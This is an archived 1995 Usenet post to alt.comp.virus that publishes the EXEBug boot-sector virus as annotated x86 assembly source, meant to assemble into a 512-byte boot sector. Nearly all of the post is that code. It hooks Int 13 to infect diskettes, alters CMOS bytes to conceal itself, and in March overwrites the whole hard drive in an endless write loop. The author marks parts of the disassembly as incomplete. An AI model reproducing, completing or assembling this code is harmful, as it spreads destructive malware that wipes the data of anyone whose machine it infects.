home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / EXEBUG.ASM / partbinary0 < prev   
Encoding:
Text File  |  1995-10-29  |  43.2 KB  |  660 lines

  1. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
  2. From: danishm@iia.org ()
  3. Newsgroups: alt.comp.virus
  4. Subject: EXEBug
  5. Date: 5 Feb 1995 22:08:52 GMT
  6. Organization: International Internet Association.
  7. Lines: 641
  8. Message-ID: <3h3i9k$v4@ankh.iia.org>
  9. NNTP-Posting-Host: iia.org
  10. X-Newsreader: TIN [version 1.2 PL2]
  11.  
  12. Here is the EXEBug virus:
  13.  
  14. ;-------------------------------------------------------------------------
  15. .286p                                   ; The EXEBUG2 Virus.  This virus
  16. .model tiny                             ; infects diskette boot sectors and
  17. .code                                   ; activates in March of any year,
  18.                                         ; destroying the hard drive.  It
  19.         ORG     0100h                   ; contains instructions for 80286+
  20.                                         ; processors.
  21. ;---------------------------------------;---------------------------------
  22. ; As of Apr 21st, this disassembly is   ; Disassembled with Master Core
  23. ; incomplete, as the test computer uses ;  Disassembler: IQ Software
  24. ; Disk Manager and can not be infected. ; Analyzed with Quaid Analyzer:
  25. ;                                       ;  Quaid Software Ltd.
  26. ;-------------------------------------------------------------------------
  27. ; We are using an origin of 100h, so that this can be assembled with TASM
  28. ; and linked with tlink /t.  You will have a 512 byte .COM file which is
  29. ; a byte-for-byte duplicate of the original boot sector. Note that 100h
  30. ; must be subtracted from many of the offsets.
  31. ;-------------------------------------------------------------------------
  32.                                         ;Offset Opcode  |Comment
  33.                                         ;---------------------------------
  34. Boot_Start:                             ;00100  EB1C
  35.                                         ;---------------------------------
  36.         JMP     Short Change_RAM        ; Boot sectors always begin with
  37.                                         ; a long jump (E9 XX XX) or a short
  38.                                         ; jump (EB XX 90)
  39.                                         ;---------------------------------
  40.         NOP                             ;00102  90      |NOP for short jump
  41. ;---------------------------------------;               |
  42. ; Data in Code Area                     ;               |
  43. ;---------------------------------------;               |
  44. OEM     DB      "MSDOS5.0"              ;00103  4D53444F|OEM name
  45. Byt_Sec DW      0200h                   ;0010B  0002    |Bytes per sector
  46. Sct_AlU DB      02h                     ;0010D  02      |Sectors per
  47.                                         ;               | allocation unit
  48. RsvdSct DW      0001h                   ;0010E  0100    |Reserved sectors
  49. NumFATs DB      02h                     ;00110  02      |Number of FATs
  50. RootSiz DW      0070h                   ;00111  7000    |Number of root dir
  51.                                         ;               | entries (112)
  52. TotSect DW      02D0h                   ;00113  D002    |Total sectors in
  53.                                         ;               | volume (1440)
  54. MedDesc DB      0FDh                    ;00115  FD      |Media descriptor
  55.                                         ;               | byte:
  56.                                         ;---------------------------------
  57.                                         ;  F8 = hard disk
  58.                                         ;  F0 = 3½" 18 sector
  59.                                         ;  F9 = 3½"  9 sector
  60.                                         ;  F9 = 5¼" 15 sector
  61.                                         ;  FC = 5¼" SS 9 sector
  62.                                         ;  FD = 5¼" DS 9 sector
  63.                                         ;  FE = 5¼" SS 8 sector
  64.                                         ;  FF = 5¼: DS 8 sector
  65.                                         ;---------------------------------
  66. FATSect DW      0002h                   ;00116  0200    |Sectors per FAT
  67. Sct_Trk DW      0009h                   ;00118  0900    |Sectors per track
  68. NumHead DW      0002h                   ;0011A  0200    |Number of heads
  69. aDrvNum DW      0000h                   ;0011C  0000    |Drive number (0=A:)
  70. ;---------------------------------------;---------------------------------
  71.                                         ;               |
  72. Change_RAM:                             ;               |
  73.                                         ;               |
  74.         XOR     AX,AX                   ;0011E  33C0    |Zero register
  75.         MOV     DS,AX                   ;00120  8ED8    |DS = 0000
  76.         MOV     DI,AX                   ;00122  8BF8    |DI = 0000
  77.         MOV     SS,AX                   ;00124  8ED0    |SS = 0000
  78.         MOV     SP,7C00h                ;00126  BC007C  |SP = 7C00
  79.                                         ;---------------------------------
  80.                                         ; Get RAM size (usually 64*10 K)
  81.                                         ; and put it in register AX.
  82. Get_RAM_Size:                           ;---------------------------------
  83.                                         ;               |
  84.         MOV     AX,Word Ptr DS:[0413h]  ;00129  A11304  |0000:0413 holds
  85.                                         ;               | RAM size
  86.         MOV     CX,0106h                ;0012C  B90601  |This does two things:
  87.                                         ;               |it sets up a MOVSW,
  88.                                         ;               |and it puts a 6 in
  89.                                         ;               |CL for the SAL,CL
  90.         DEC     AX                      ;0012F  48      |Steal 1K of RAM
  91.                                         ;               | (decrease RAM size)
  92.         MOV     SI,SP                   ;00130  8BF4    |SI is 7C00. Use to
  93.                                         ;               | move boot sector
  94.                                         ;               | in Copy_Boot routine.
  95.                                         ;---------------------------------
  96.                                         ; RAM size is now 1K less; put it
  97.                                         ; in DS:0413h (RAMsize)
  98. Put_RAM_Size:                           ;---------------------------------
  99.                                         ;               |
  100.         MOV     Word Ptr DS:[0413h],AX  ;00132  A31304  |Put the new RAM
  101.                                         ;               | size back in [0413]
  102.         SAL     AX,CL                   ;00135  D3E0    |Convert to paragraphs
  103. ;-------------------------------------------------------------------------
  104. ; AX now holds the SEGMENT of the new Int 13 service routine at TOM - 1K.
  105. ; Next operation exchanges this with the old Int 13 segment stored at 0000:004E.
  106. ;-------------------------------------------------------------------------
  107.                                         ;               |
  108.         MOV     ES,AX                   ;00137  8EC0    |ES = new area SEGMENT
  109.         PUSH    AX                      ;00139  50      |Save SEGMENT address
  110.                                         ;               | on stack. Jump here
  111.                                         ;               | at offset 0152.
  112.         XCHG    AX,DS:[004Eh]           ;0013A  87064E00|Exchange new and old
  113.                                         ;               | SEGMENTS
  114.                                         ;---------------------------------
  115.  
  116.         MOV     Word Ptr DS:[7C00h+offset I13_Seg - 100h],AX
  117.  
  118.                                         ;---------------------------------
  119.                                         ;0013E  A3B87C  |This really should be:
  120.                                         ;               |[7C00h+offset I13_Seg],
  121.                                         ;               |but we use an ORG of
  122.                                         ;               |100h here.
  123.                                         ;      <Store old SEGMENT at 7CB8>
  124.                                         ;---------------------------------
  125.  
  126.         MOV     AX,offset New_Int13_ISR - 100h
  127.  
  128.                                         ;---------------------------------
  129.                                         ;00141  B83201  |Likewise the offset
  130.                                         ;               |of the new Int 13
  131.                                         ;               |service routine is
  132.                                         ;               |decremented by 100h
  133. ;------------------------------------------------------------------------
  134. ; AX now holds the OFFSET of the new Int 13 service routine, which is
  135. ; in our code at offset 232h.  Next operation exchanges this with the
  136. ; the offset stored at 0000:004C.
  137. ;------------------------------------------------------------------------
  138.                                         ;               |
  139.         XCHG    AX,DS:[004Ch]           ;00144  87064C00|Exchange new and old
  140.                                         ;               | OFFSETS
  141.                                         ;---------------------------------
  142.  
  143.         MOV     Word Ptr DS:[7C00h+offset I13_Off - 100h],AX
  144.  
  145.                                         ;---------------------------------
  146.                                         ;00148  A3B67C  |Again, decrement by
  147.                                         ;               | 100h to compensate
  148.                                         ;               | for ORG 100h
  149.                                         ;      <Store old OFFSET at 7CB6>
  150.                                         ;---------------------------------
  151.  
  152.         MOV     AX,[offset Activation - 100h]
  153.  
  154.                                         ;---------------------------------
  155.                                         ;0014B  B89900  |Move offset of
  156.                                         ;               |Activation routine
  157.                                         ;               |to AX.
  158.         PUSH    AX                      ;0014E  50      |Push the Activation
  159.                                         ;               |address, and then
  160.                                         ;               |use that as the
  161.                                         ;               |OFFSET when we RETF
  162.                                         ;               |at offset 0152.
  163. Copy_Boot:                              ;---------------------------------
  164.                                         ;               |
  165.         CLD                             ;0014F  FC      |movsb will increment
  166.                                         ;               |pointers cx=0106h
  167.                                         ;               |ds=0000h sp=7C00h
  168.                                         ;               |si=7C00h di=0000h
  169.                                         ;               |Repeat until Zero
  170.                                         ;               |Flag=0 or CX Times
  171.                                         ;               |
  172.         REP     MOVSW                   ;00150  F3A5    |MOVE DS:SI TO ES:DI
  173.                                         ;---------------------------------
  174.                                         ; Move virus up to the memory we have
  175.                                         ; allocated, and set the INT handler.
  176.                                         ;---------------------------------
  177.                                         ;               |
  178.         RETF                            ;00152  CB      |The segment and
  179.                                         ;               |offset of the
  180.                                         ;               |Activation routine
  181.                                         ;               |were pushed on the
  182.                                         ;               |stack previously, so
  183.                                         ;               |a RETF jumps there
  184.                                         ;               |(at top of memory)
  185.                                         ;>>>>>>>>>>>>>>>|JUMP TO ACTIVATION
  186. ;---------------------------------------;---------------------------------
  187.                                         ;               |
  188.         DB      04h                     ;00153  04      |
  189. Drive   DB      20h                     ;00154  20      |CMOS drive type (AH),
  190.                                         ;               | is stored here.
  191. ChkSum  DW      046Ch                   ;00155  6C04    |CMOS checksum (DX),
  192.                                         ;               | is stored here.
  193. Install DB      01h                     ;00157  01      |This byte is checked
  194.                                         ;               | at offset 294. It is
  195.                                         ;               | used for the value
  196.                                         ;               | of CX when the boot
  197.                                         ;               | record is written
  198.                                         ;               | (starting sector)
  199.                                         ;               | Values are 1 or 11h.
  200. ;-------------------------------------------------------------------------
  201. ; The code (or is it data?) below from offsets 0158 to 0198 is not analyzed,
  202. ; as I could not get an infection on the test computer.
  203. ;-------------------------------------------------------------------------
  204.         SUB     [BX+SI],CH              ;00158  2828    |
  205.         ADD     [BX+DI],AL              ;0015A  0001    |
  206.         ADD     AL,[BP+1Eh]             ;0015C  02461E
  207.                                         ;  ADD AL,[BP+offset Change_RAM-100h]
  208.         PUSH    CX                      ;0015F  51      |
  209.         MOV     DL,65h                  ;00160  B265    |
  210.         MOV     DI,DX                   ;00162  8BFA    |
  211.         DEC     AL                      ;00164  FEC8    |
  212.         STOSW                           ;00166  AB      |STORE Word STRING
  213.                                         ;               | FROM AX
  214.         ADD     DI,+04h                 ;00167  83C704  |
  215.         XOR     AL,0C0h                 ;0016A  34C0    |
  216.         STOSW                           ;0016C  AB      |
  217.         MOV     CL,0Bh                  ;0016D  B10B    |cl=0Bh dl=65h
  218.         REP     STOSB                   ;0016F  F3AA    |STORE 0Bh Bytes
  219.                                         ;               | STRING FROM AL
  220.         MOV     CL,13h                  ;00171  B113    |
  221.         MOV     BH,03h                  ;00173  B703    |
  222.         CALL    $-170h                  ;00175  E88DFE  |This calls offset
  223.                                         ;               |7B05 in this segment.
  224.         MOV     AH,13h                  ;00178  B413    |
  225.         INT     2Fh                     ;0017A  CD2F    |Get & set DOS disk
  226.                                         ;               |int handler
  227.                                         ;               |ds:dx=new handler,
  228.                                         ;               |es:bx=old
  229.         MOV     CS:[01B8h],DS           ;0017C  2E8C1E  |
  230.                                         ;       B801    |
  231.                                         ;               |
  232.         MOV     CX,DX                   ;00181  8BCA    |
  233.         INT     2Fh                     ;00183  CD2F    |Set it again
  234.         MOV     DS:[01B6h],CX           ;00185  890EB601|
  235.         CMP     CL,32h                  ;00189  80F932  |
  236.         JZ      H0000_0198              ;0018C  740A    |Return if CL=32h
  237.         MOV     CX,CS                   ;0018E  8CC9    |
  238.         ADD     CX,+10h                 ;00190  83C110  |
  239.         PUSH    CX                      ;00193  51      |
  240.         MOV     AX,00FDh                ;00194  B8FD00  |
  241.         PUSH    AX                      ;00197  50      |
  242.                                         ;               |
  243. H0000_0198:                             ;---------------------------------
  244.                                         ;               |
  245.         RETF                            ;00198  CB      |
  246. ;---------------------------------------;---------------------------------
  247.                                         ;               |
  248. Activation:                             ;               |
  249.                                         ;               |
  250.         CALL    Main_Routine            ;00199  E86800  |
  251.         MOV     AH,04h                  ;0019C  B404    |AH=4 (get date)
  252.         INT     1Ah                     ;0019E  CD1A    |Get date
  253.                                         ;               |CX=year, DX=mon/day
  254.         CMP     DH,03h                  ;001A0  80FE03  |Is it month #3
  255.         JZ      Damage                  ;001A3  7402    |If it is March,
  256.                                         ;               | do damage
  257.         INT     19h                     ;001A5  CD19    |Otherwise reboot
  258.                                         ;               | with virus resident
  259.                                         ;               | and Int 13 hooked
  260. ;---------------------------------------;---------------------------------
  261.                                         ; Set up Int 13 call from the new
  262. Damage:                                 ;  ISR at I13_Seg:I13_Off.
  263.                                         ;---------------------------------
  264.         MOV     AL,0FFh                 ;001A7  B0FF    |
  265.         OUT     21h,AL                  ;001A9  E621    |Turn off IRQs
  266.         MOV     DX,0080h                ;001AB  BA8000  |DH = head # (0),
  267.                                         ;               |DL = drive #
  268.                                         ;               |  (+80 for hd)
  269.         MOV     CX,0101h                ;001AE  B90101  |CH = cylinder #,
  270.                                         ;               |CL = sector #
  271. Trash_HardDrive:                        ;---------------------------------
  272.                                         ;               |
  273.         MOV     AX,0311h                ;001B1  B81103  |AH = function 03
  274.                                         ;               | (write sectors)
  275.                                         ;               |AL = # of sectors
  276.         PUSHF                           ;001B4  9C      |Push flags: normally
  277.                                         ;               | done prior to
  278.                                         ;               | interrupt.
  279. FarCall DB      9Ah                     ;001B5  9A      |Call the Int 13
  280.                                         ;               | service routine
  281. I13_Off DW      0AB1Bh                  ;001B6  1BAB    |(real) Int 13 offset
  282. I13_Seg DW      0F000h                  ;001B8  00F0    |(real) Int 13 segment
  283.         INC     DH                      ;001BA  FEC6    |Next head
  284.         AND     DH,07h                  ;001BC  80E607  |Test bits 0-3 of DH,
  285.                                         ;               | clear 4-7
  286.         JNZ     Trash_HardDrive         ;001BF  75F0    |If #head > 7
  287.                                         ;               |continue, else trash
  288.         INC     CH                      ;001C1  FEC5    |Next cylinder
  289.         JNZ     Trash_HardDrive         ;001C3  75EC    |If #cylinder > 255
  290.                                         ;               | continue, else keep
  291.                                         ;               | on trashing.
  292.         ADD     CL,40h                  ;001C5  80C140  |Set bits 6 and 7 of
  293.                                         ;               | CL, enabling the
  294.                                         ;               | entire drive to be
  295.                                         ;               | overwritten (or at
  296.                                         ;               |least 1024 cylinders)
  297.         JMP     Short Trash_HardDrive   ;001C8  EBE7    |Only way out of this
  298.                                         ;               | is a disk error, or
  299.                                         ;               | power off.
  300. ;--------------------------------------------------------------------------
  301.                                         ;At this point, it is important to
  302. Change_CMOS:                            ;know what the contents of DX is.
  303.                                         ; CMOS checksums are stored at
  304.                                         ; DS:0053 and DS:0055
  305. ;--------------------------------------------------------------------------
  306.         MOV     AL,10h                  ;001CA  B010    |Diskette type
  307.         CALL    CMOS_Read_Write         ;001CC  E80700  | SET DISKETTE TYPE
  308.         MOV     AL,2Fh                  ;001CF  B02F    |Hi checksum byte
  309.         CALL    CMOS_Read_Write         ;001D1  E80200  | SET CHECKSUM: set
  310.                                         ;               | to zero or restore
  311.         MOV     AL,2Eh                  ;001D4  B02E    |Low checksum byte
  312.                                         ;               | SET CHECKSUM: set
  313.                                         ;               | to zero or restore
  314. CMOS_Read_Write:                        ;---------------------------------
  315.                                         ;               |
  316.         OUT     70h,AL                  ;001D6  E670    |Tell CMOS address
  317.                                         ;               |  to read (in AL)
  318.         XCHG    AH,DL                   ;001D8  86E2    |1st call: AH=DL=00
  319.                                         ;               |2nd call: AH=DL=00
  320.                                         ;               |3rd call: AH=20,DL=00
  321.                                         ;               |4th call: AH=5F,DL=00
  322.                                         ;               |5th call: AH=02,DL=5F
  323.                                         ;               |6th call: AH=00,DL=02
  324.                                         ;               |
  325.         XCHG    DL,DH                   ;001DA  86D6    |1st call: DH=DL=00
  326.                                         ;               |2nd call: DH=00,DL=20
  327.                                         ;               |3rd call: DH=00,DL=7F
  328.                                         ;               |4th call: DH=00,DL=02
  329.                                         ;               |5th call: DH=5F,DL=00
  330.                                         ;               |6th call: DH=02,DL=00
  331.                                         ;               |
  332.         IN      AL,71h                  ;001DC  E471    |Read CMOS to AL
  333.                                         ;               |1st call: AL=20
  334.                                         ;               |2nd call: AL=7F
  335.                                         ;               |3rd call: AL=02
  336.                                         ;               |4th call: AL=00
  337.                                         ;               |5th call: AL=00
  338.                                         ;               |6th call: AL=00
  339.                                         ;               |
  340.         XCHG    DH,AL                   ;001DE  86F0    |Trade AL <-> DH
  341.                                         ;               |1st call: DH=20,AL=00
  342.                                         ;               |2nd call: DH=7F,AL=00
  343.                                         ;               |3rd call: DH=02,AL=00
  344.                                         ;               |4th call: DH=00,AL=00
  345.                                         ;               |5th call: DH=00,AL=5F
  346.                                         ;               |6th call: DH=00,AL=02
  347.                                         ;               |
  348.         OUT     71h,AL                  ;001E0  E671    |Write contents of
  349.                                         ;               |  AL to CMOS
  350.                                         ;               |1st call: AL=00
  351.                                         ;               |2nd call: AL=00
  352.                                         ;               |3rd call: AL=00
  353.                                         ;               |4th call: AL=00
  354.                                         ;               |5th call: AL=5F
  355.                                         ;               |6th call: AL=02
  356.                                         ;               |
  357.         RET                             ;001E2  C3      |Return to Call_CMOS
  358. ;---------------------------------------;---------------------------------
  359.                                         ;               |
  360. Setup_Int13:                            ;               |
  361.                                         ;               |
  362.         MOV     AX,0301h                ;001E3  B80103  |Function #3: write
  363.                                         ;               |  (1) sector
  364. Real_Int13_2:                           ;---------------------------------
  365.                                         ;               |
  366.         CALL    Restore_CMOS            ;001E6  E80500  |Restore original CMOS
  367.         PUSHF                           ;001E9  9C      |Prepare for interrupt
  368.                                         ;---------------------------------
  369.                                                         ;DO THE INTERRUPT 13
  370.         CALL    DWord Ptr DS:[I13_Off-100h]             ;Subtract 100h from
  371.                                                         ; offset of old Int 13
  372.                                         ;001EA  FF1EB600| vector and then call
  373.                                         ;               | it as a DWord (i.e.
  374.                                         ;               | as Segment:Offset)
  375.                                         ;               | Standard Int 13
  376.                                         ;               | resets and repeats
  377.                                         ;               | 3 times if carry
  378.                                         ;               | flag not clear.
  379. Restore_CMOS:                           ;---------------------------------
  380.                                         ;               |
  381.         CALL    Xchg_Old_New            ;001EE  E80300  |
  382.         CALL    Change_CMOS             ;001F1  E8D6FF  |
  383.                                         ;               |
  384. Xchg_Old_New:                           ;---------------------------------
  385.                                         ;               |
  386.         XCHG    AX,DS:[0053h]           ;001F4  87065300|
  387.         XCHG    DX,DS:[0055h]           ;001F8  87165500|
  388.         RET                             ;001FC  C3      |
  389. ;---------------------------------------;---------------------------------
  390.                                         ;               |
  391. Jump_From_Boot:                         ;               |
  392.                                         ;               |
  393.         CALL    Main_Routine            ;001FD  E80400  |
  394.                                         ; CALL 0204h    |
  395.                                         ;               |
  396.         CALL    Restore_CMOS            ;00200  E8EBFF  |Call 01EEh
  397.         ;-------------------------------;---------------------------------
  398.         ;RETF                           ;               |This must be assembled
  399.                                         ;               |as DB 0CBh, otherwise
  400.         DB      0CBh                    ;00203  CB      |the assembler emits
  401.                                         ;               |CA CB 00.
  402. ;---------------------------------------;---------------------------------
  403.                                         ;               |Diddle CMOS. Read
  404. Main_Routine:                           ;00204          |boot with new Int13.
  405.                                         ;               |
  406. ;-------------------------------------------------------------------------
  407. ;                                                       |
  408. ; (64 Bytes)    FFEEDDCC BBAA9988 77665544 33221100     |This is the original
  409. ;               -------- -------- -------- --------     |CMOS setting.
  410. ; CMOS IS NOW:  00008050 02269303 28000016 00200027     |
  411. ;               00000000 0000310D 80028003 00F00020  <--|diskette drive(s) type
  412. ; Checksum -->  7F021A04 01000009 04000000 00000000     |Bits 7-4: drive 0
  413. ;  is 7F02      00000001 01000000 00000000 80190D80     |Bits 3-0: drive 1
  414. ;                                                       |  0000b = no drive
  415. ;                                                       |  0001b = 360K
  416. ;                                                       |  0010b = 1.2 MB
  417. ;                                                       |  0011b = 720K
  418. ;                                                       |  0100b = 1.44 MB
  419. ;                                                       |so in this case there
  420. ;                                                       |is one 1.2 meg drive
  421. ;                                                       |and no 'B' drive
  422. ;-------------------------------------------------------------------------
  423.                                         ;               |Put address of
  424. CMOS_0:                                 ;               | hidden memory on
  425.         PUSH    CS                      ;00204  0E      | stack and then pop
  426.         POP     DS                      ;00205  1F      | it into DS.
  427.         MOV     ES,CX                   ;00206  8EC1    |Zero ES
  428.         CALL    Change_CMOS             ;00208  E8BFFF  |AX=0099,DX=0000
  429. ;-------------------------------------------------------------------------
  430. ;
  431. ; CMOS CHANGED: 00008050 02269303 28000017 00420002
  432. ;               00000000 0000310D 80028003 00F00000 <-NOTE CHANGE
  433. ; NOTE CHANGE-> 00001A04 01000009 04000000 00000000    No drive
  434. ;  No checksum  00000001 01000000 00000000 80190D80
  435. ;
  436. ;-------------------------------------------------------------------------
  437.                                         ;               |Now the drive type
  438. CMOS_1:                                 ;               | and checksum are 00
  439.         MOV     AL,AH                   ;0020B  8AC4    |AX=2020
  440.         AND     AL,0F0h                 ;0020D  24F0    |AX=2020
  441.         JZ      Calc_ChkSum             ;0020F  7408    |Is zero flag set?
  442.         MOV     DS:[0055h],DX           ;00211  89165500|Store checksum in
  443.                                         ;               | DS:[0055]
  444.         MOV     DS:[0054h],AH           ;00215  88265400|Store drive type
  445.                                         ;               | in DS:[0054]
  446. Calc_ChkSum:                            ;---------------------------------
  447.                                         ;               |
  448.         AND     AH,0Fh                  ;00219  80E40F  |Clears high bits
  449.                                         ;               | AX=0020
  450.         SUB     DL,AL                   ;0021C  2AD0    |DX=025F
  451.         SBB     DH,00h                  ;0021E  80DE00  |DX=025F
  452.         CALL    Change_CMOS             ;00221  E8A6FF  |AX=0020, DX=025F
  453. ;-------------------------------------------------------------------------
  454. ;
  455. ; CMOS CHANGED: 00008050 02269303 28000018 00030041
  456. ;               00000000 0000310D 80028003 00F00000
  457. ; NOTE CHANGE-> 5F021A04 01000009 04000000 00000000
  458. ;               00000001 01000000 00000000 80190D80
  459. ;
  460. ;-------------------------------------------------------------------------
  461.                                         ;               |
  462. CMOS_2:                                 ;               |
  463.         MOV     DL,80h                  ;00224  B280    | DL = 80
  464.                                         ;               |
  465. Read_Boot:                              ;---------------------------------
  466.                                         ;               |
  467.         MOV     CX,0001h                ;00226  B90100  | CX = 0001
  468.         MOV     DH,CH                   ;00229  8AF5    | DH = 00
  469.         POP     AX                      ;0022B  58      | Pop return offset
  470.         PUSHF                           ;0022C  9C      | Push flags
  471.         PUSH    CS                      ;0022D  0E      | Save segment
  472.         PUSH    AX                      ;0022E  50      | Save offset
  473.         MOV     AX,0201h                ;0022F  B80102  | AX = 0201 (read
  474.                                         ;               |      one sector)
  475.                                         ;
  476. New_Int13_ISR:                          ;___ New Int 13 Service Routine ___
  477.                                         ;
  478.         CLD                             ;00232  FC      |Clear direction flag
  479.         PUSH    DS                      ;00233  1E      |
  480.         PUSH    SI                      ;00234  56      |
  481.         PUSH    DI                      ;00235  57      |Save some registers
  482.         PUSH    CX                      ;00236  51      |
  483.         PUSH    AX                      ;00237  50      |
  484.         PUSH    CS                      ;00238  0E      |
  485.         POP     DS                      ;00239  1F      |DS = CS
  486.         CMP     AH,03h                  ;0023A  80FC03  |Is it a function 3
  487.                                         ;               | (write disk) call?
  488.         JNZ     Real_Int13_1            ;0023D  7521    |No, so do real Int 13
  489.         CMP     Byte Ptr ES:[BX],4Dh    ;0023F  26803F4D|Yes, but is ES:[BX]=4D?
  490.         JNZ     Real_Int13_1            ;00243  751B    |No, so do real Int13
  491.         OR      AH,DL                   ;00245  0AE2    |Yes, but which drive?
  492.         CMP     CL,AH                   ;00247  3ACC    |Is drive OK??
  493.         JNZ     Real_Int13_1            ;00249  7515    |No, so do real Int13
  494.         MOV     DI,BX                   ;0024B  8BFB    |Yes, buffer is [4D]
  495.         MOV     SI,00A7h                ;0024D  BEA700  |
  496.         MOV     CX,01FEh                ;00250  B9FE01  |Going to move 1FE words
  497.         AND     DL,DL                   ;00253  22D2    |Is it drive #0 (A:)?
  498.         JNZ     H0000_025E              ;00255  7507    |No, so move 'em
  499.         MOV     SI,0002h                ;00257  BE0200  |Yes, SI = 0002
  500.         MOV     AX,5CEBh                ;0025A  B8EB5C  |Move value in AX
  501.         STOSW                           ;0025D  AB      | to ES:[4D]
  502.                                         ;               |
  503. H0000_025E:                             ;---------------------------------
  504.                                         ;               |cx=01FEh,ds=0000h
  505.                                         ;               |si=0002h Move 1FE
  506.         REP     MOVSB                   ;               | words from DS:SI
  507.                                         ;0025E  F3A4    | to ES:DI
  508. Real_Int13_1:                           ;---------------------------------
  509.                                         ;               |
  510.         POP     AX                      ;00260  58      |Restore registers
  511.         POP     CX                      ;00261  59      |
  512.         POP     DI                      ;00262  5F      |
  513.         MOV     SI,AX                   ;00263  8BF0    |SI=function,subfn
  514.         CALL    Real_Int13_2            ;00265  E87EFF  |When done go to
  515.                                         ;               | Return_here.
  516. Return_Here:                            ;---------------------------------
  517.                                         ;               |
  518.         JB      Int13_Error             ;00268  721D    |If Int 13 returned
  519.                                         ;               | error go to err rtn
  520.         PUSH    DI                      ;0026A  57      |Save registers
  521.         PUSH    AX                      ;0026B  50      |
  522.         OR      DH,DH                   ;0026C  0AF6    |Was drive A: target?
  523.         JNZ     Exit_Virus              ;0026E  7514    |Yes, Exit_Virus
  524.         CMP     CX,+01h                 ;00270  83F901  |Was it a 1 sector
  525.                                         ;               | operation?
  526.         JNZ     Exit_Virus              ;00273  750F    |No, Exit_Virus
  527.         MOV     AX,SI                   ;00275  8BC6    |Restore Int 13
  528.                                         ;               | function, sub fn
  529.         CMP     AH,02h                  ;00277  80FC02  |Was it a read fn?
  530.         JZ      Int13_Read              ;0027A  7410    |
  531.         CMP     AH,03h                  ;0027C  80FC03  |
  532.         JNZ     Exit_Virus              ;0027F  7503    |
  533.                                         ;               |
  534. Read_New_Boot:                          ;---------------------------------
  535.                                         ;               |This pushes the
  536.         CALL    Read_Boot               ;00281  E8A2FF  | address of
  537.                                         ;               | Read_Boot on stack
  538. Exit_Virus:                             ;---------------------------------
  539.                                         ;               |
  540.         CLC                             ;00284  F8      |
  541.         POP     AX                      ;00285  58      |Restore registers
  542.         POP     DI                      ;00286  5F      |
  543.                                         ;               |
  544. Int13_Error:                            ;---------------------------------
  545.                                         ;               |
  546.         POP     SI                      ;00287  5E      |
  547.         POP     DS                      ;00288  1F      |
  548.         RETF    0002h                   ;00289  CA0200  |Return to address
  549.                                         ;               | on stack. Discard
  550.                                         ;               | next two bytes on
  551.                                         ;               | stack. This
  552.                                         ;               | eventually gets us
  553.                                         ;               | to offset 19C (check
  554.                                         ;               | activation & reboot)
  555. ;---------------------------------------;---------------------------------
  556. Int13_Read:                             ;               |
  557.                                         ;               |
  558.         PUSH    CX                      ;0028C  51      |Push # sectors
  559.         CMP     Byte Ptr ES:[BX+28h],7Ch;0028D  26807F  |Compare [0000:7C28]
  560.                                         ;       287C    | with 7C. (Boot
  561.                                         ;               | record offset 28).
  562.         JNZ     Boot_Changed            ;00292  750D    |If no, then the
  563.                                         ;               | boot record changed.
  564.                                         ;00294  268B8F  |MOV CX,ES:[BX+0057h]
  565.                                         ;       5700    |
  566.                                                         ;
  567.         MOV     CX,ES:[BX + word ptr Install - 100h]    ;Move starting sector
  568.                                                         ; to CX
  569.         MOV     AL,01h                  ;00299  B001    |
  570.         CALL    Real_Int13_2            ;0029B  E848FF  |
  571.                                         ;               |
  572. HD_Exit:                                ;---------------------------------
  573.                                         ;               |
  574.         POP     CX                      ;0029E  59      |
  575.         JMP     Short Exit_Virus        ;0029F  EBE3    |
  576. ;---------------------------------------;---------------------------------
  577. Boot_Changed:                           ;               |
  578.                                         ;               |
  579.         PUSH    DX                      ;002A1  52      |Save drive info
  580.         MOV     CL,11h                  ;002A2  B111    |CX=0011 (Changed)
  581.         TEST    DL,80h                  ;002A4  F6C280  |Is it a hard drive?
  582.         JNZ     Hard_Drive              ;002A7  7534    |Yes, goto Hard_Drive
  583.         MOV     CH,28h                  ;002A9  B528    |
  584.         CMP    Byte Ptr ES:[BX+15h],0FCh;002AB  26807F  |
  585.                                         ;       15FC    |
  586.         JNB     H0000_02B4              ;002B0  7302    |
  587.         SAL     CH,1                    ;002B2  D0E5    |
  588.                                         ;               |
  589. H0000_02B4:                             ;---------------------------------
  590.                                         ;               | This code not
  591.         PUSH    ES                      ;002B4  06      | analyzed as of
  592.         PUSH    BX                      ;002B5  53      | April 21st.
  593.         XOR     AX,AX                   ;002B6  33C0    |
  594.         MOV     ES,AX                   ;002B8  8EC0    |
  595.         LES     BX,DWord Ptr ES:[0078h] ;002BA  26C41E  |
  596.                                         ;       7800    |
  597.                                         ;               |Load ES & operand
  598.                                         ;               | from memory
  599.         PUSH    ES                      ;002BF  06      |
  600.         PUSH    BX                      ;002C0  53      |
  601.         INC     AL                      ;002C1  FEC0    |
  602.         MOV     CL,AL                   ;002C3  8AC8    |
  603.         XCHG    CL,ES:[BX+04h]          ;002C5  26864F04|
  604.         MOV     AH,05h                  ;002C9  B405    |
  605.         MOV     BX,0059h                ;002CB  BB5900  |
  606.         MOV     [BX],CH                 ;002CE  882F    |
  607.         PUSH    CS                      ;002D0  0E      |
  608.         POP     ES                      ;002D1  07      |
  609.         CALL    Real_Int13_2            ;002D2  E811FF  |
  610.         POP     BX                      ;002D5  5B      |
  611.         POP     ES                      ;002D6  07      |
  612.         XCHG    CL,ES:[BX+04h]          ;002D7  26864F04|
  613.         POP     BX                      ;002DB  5B      |
  614.         POP     ES                      ;002DC  07      |
  615.                                         ;               |
  616. Hard_Drive:                             ;---------------------------------
  617.                                         ;               |
  618.         CALL    Setup_Int13             ;002DD  E803FF  |Prepare for Write
  619.         POP     DX                      ;002E0  5A      |Get drive info
  620.         JB      HD_Exit                 ;002E1  72BB    |On error exit
  621.         MOV     DS:[0057h],CX           ;002E3  890E5700|DS:[57]=11 (Changed)
  622.         MOV     Word Ptr ES:[BX],1CEBh  ;002E7  26C707  |[0000:7C00] now holds
  623.                                         ;       EB1C    | EB 1C.
  624.         MOV     SI,001Eh                ;002EC  BE1E00  |SI=001E
  625.         ;-------------------------------;---------------------------------
  626.         ;LEA     DI,[BX+001Eh]          ;               |TASM will emit 8D7F1E
  627.                                         ;               |for this instruction,
  628.         DB      8Dh,0BFh,1Eh,00h        ;002EF  8DBF1E00|so assemble as DB's
  629.                                         ;               |BX=7C00 SI=001E
  630.                                         ;               |ES=0000 DI=7C1E
  631.         ;-------------------------------;---------------------------------
